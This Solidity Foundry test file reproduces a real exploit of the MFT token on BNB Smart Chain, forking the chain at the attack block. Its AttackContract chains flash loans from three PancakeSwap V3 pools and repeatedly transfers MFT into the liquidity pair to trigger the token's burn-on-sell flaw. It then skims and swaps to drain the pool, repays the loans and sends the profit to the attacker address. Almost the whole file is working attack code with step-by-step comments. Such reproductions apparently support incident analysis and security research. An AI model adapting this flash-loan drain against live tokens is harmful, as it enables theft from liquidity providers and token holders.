src/test/2024-11/MFT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 33.7k USD
8// Attacker : https://bscscan.com/address/0x2bee9915ddefdc987a42275fbcc39ed178a70aaa
9// Attack Contract : https://bscscan.com/address/0x6E088C3dD1055F5dD1660C1c64dE2af8110B85a8
10// Vulnerable Contract : https://bscscan.com/address/0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11
11// Attack Tx : https://bscscan.com/tx/0xe24ee2af7ceee6d6fad1cacda26004adfe0f44d397a17d2aca56c9a01d759142
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1858351609371406617
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22// pancake USDT / WBNB pool
23address constant USDT_WBNB_POOL_001 = 0x172fcD41E0913e95784454622d1c3724f546f849;
24// pancake USDT / USDC pool
25address constant USDT_USDC_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
26// pancake USDT / WBNB pool
27address constant USDT_WBNB_POOL_005 = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
28address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
29address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
30address constant CAKE_LP = 0x67C88f71da4Ef48Ad4bEa9000264c9a17Ef2a7Aa;
31address constant MFT_TOKEN = 0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11;
32address constant PLEDGE_ADDR = 0xCa9dA4C9CA17951893bAdA3574160d36Ac6735B9;
33address constant MSF_EXPLOITER = 0x2BeE9915DDEFDC987A42275fbcC39ed178A70aAA;
34 
35contract MFT is BaseTestWithBalanceLog {
36    uint256 blocknumToForkFrom = 44097964 - 1;
37 
38    function setUp() public {
39        vm.createSelectFork("bsc", blocknumToForkFrom);
40        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
41        fundingToken = BSC_USD;
42    }
43 
44    function testExploit() public balanceLog {
45        //implement exploit code here
46        AttackContract attackContract = new AttackContract();
47 
48        vm.prank(MSF_EXPLOITER);
49        IERC20(MFT_TOKEN).approve(address(attackContract), type(uint256).max);
50 
51        // Step 0
52        attackContract.transfer2(MFT_TOKEN, 14_000_000);
53    }
54}
55 
56contract AttackContract {
57    address[] pools = [USDT_WBNB_POOL_001, USDT_USDC_POOL, USDT_WBNB_POOL_005];
58 
59    // store flash loan fees
60    uint256[] fees = [0, 0, 0];
61 
62    // store flash loan amounts
63    uint256[] borrowAmounts = [0, 0, 0];
64    address public target;
65    address public attacker;
66    constructor() {
67        attacker = msg.sender;
68    }
69 
70    function transfer2(address to, uint256 amount) public {
71        target = to;
72        borrowAmounts[2] = amount * 1e18;
73 
74        // Step 1: Borrow BSC from USDT_WBNB_POOL_001
75        borrow(1);
76    }
77 
78    function borrow(uint256 num) internal {
79        address pool = pools[num-1];
80        uint256 borrowAmount = borrowAmounts[num-1];
81        if (borrowAmount == 0) {
82            borrowAmount = IERC20(BSC_USD).balanceOf(pool);
83            borrowAmounts[num-1] = borrowAmount;
84        }
85        bytes memory data = abi.encode(uint256(num));
86        IPancakeV3Pool(pool).flash(address(this), borrowAmount, 0, data);
87    }
88 
89    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
90        uint256 num = abi.decode(data, (uint256));
91        fees[num-1] = fee0;
92        if (num < pools.length) {
93            // Step 2: Borrow BSC from USDT_USDC_POOL
94            // Step 3: Borrow BSC from USDT_WBNB_POOL_005
95            borrow(num + 1);
96 
97            if (num == 1) {
98                // Step 10: Pay flash load 0
99                IERC20 bsc = IERC20(BSC_USD);
100                bsc.transfer(pools[0], borrowAmounts[0] + fees[0]);
101                // Step 11: Send rest BSC to attacker
102                bsc.transfer(attacker, bsc.balanceOf(address(this)));
103            }
104        } else {
105            // Step 4: Attack MFT
106            realAttack();
107        }
108        
109    }
110 
111    function realAttack() public {
112        IERC20 bsc = IERC20(BSC_USD);
113        IERC20 mft = IERC20(MFT_TOKEN);
114        bsc.approve(PANCAKE_ROUTER, type(uint256).max);
115        mft.approve(PANCAKE_ROUTER, type(uint256).max);
116 
117        // 0x2c8ad95cf1f85715abbe9d60c29826c82396a1ac.transferFrom()
118 
119        // Root cause: MFT.transfer() will burn token from the pool when user trys to sell token.
120        // Step 5: makes a few transfers to the pair to trigger the sell in the MFT transfer()
121        for (uint256 i = 0; i < 5; i++) {
122            uint256 mftBalance = mft.balanceOf(MFT_TOKEN);
123            mft.transferFrom(MSF_EXPLOITER, CAKE_LP, mftBalance);
124        }
125 
126        IPancakePair cakeLp = IPancakePair(CAKE_LP);
127        cakeLp.skim(PLEDGE_ADDR);
128 
129        // Step 6: buy a large amount of MFT, making the MFT balance of the pair low
130        uint256 bscBalance = bsc.balanceOf(address(this));
131        address[] memory BSC_MFT_PATH = new address[](2);
132        BSC_MFT_PATH[0] = BSC_USD;
133        BSC_MFT_PATH[1] = MFT_TOKEN;
134        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(bscBalance, 0, BSC_MFT_PATH, PLEDGE_ADDR, block.timestamp);
135 
136        uint256 lpMftBalance = mft.balanceOf(CAKE_LP);
137        mft.transferFrom(MSF_EXPLOITER, CAKE_LP, lpMftBalance - 1 wei);
138 
139        address[] memory MFT_BSC_PATH = new address[](2);
140        MFT_BSC_PATH[0] = MFT_TOKEN;
141        MFT_BSC_PATH[1] = BSC_USD;
142        lpMftBalance = mft.balanceOf(CAKE_LP);
143 
144        (uint256 reserve0, uint256 reserve1, uint256 _blockTimestampLast) = IPancakePair(CAKE_LP).getReserves();
145        uint256 amounttIn = lpMftBalance - reserve0;
146        uint256[] memory amounts = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsOut(amounttIn, MFT_BSC_PATH);
147 
148        // Step 7: selling an equal amount of MFT again,  and due to burn meachanism, the pool is drained.
149        IPancakePair(CAKE_LP).swap(0, amounts[1], address(this), "");
150 
151        // Step 8: Pay flash load 1
152        bsc.transfer(pools[1], borrowAmounts[1] + fees[1]);
153        // Step 9: Pay flash load 2
154        bsc.transfer(pools[2], borrowAmounts[2] + fees[2]);
155    }
156}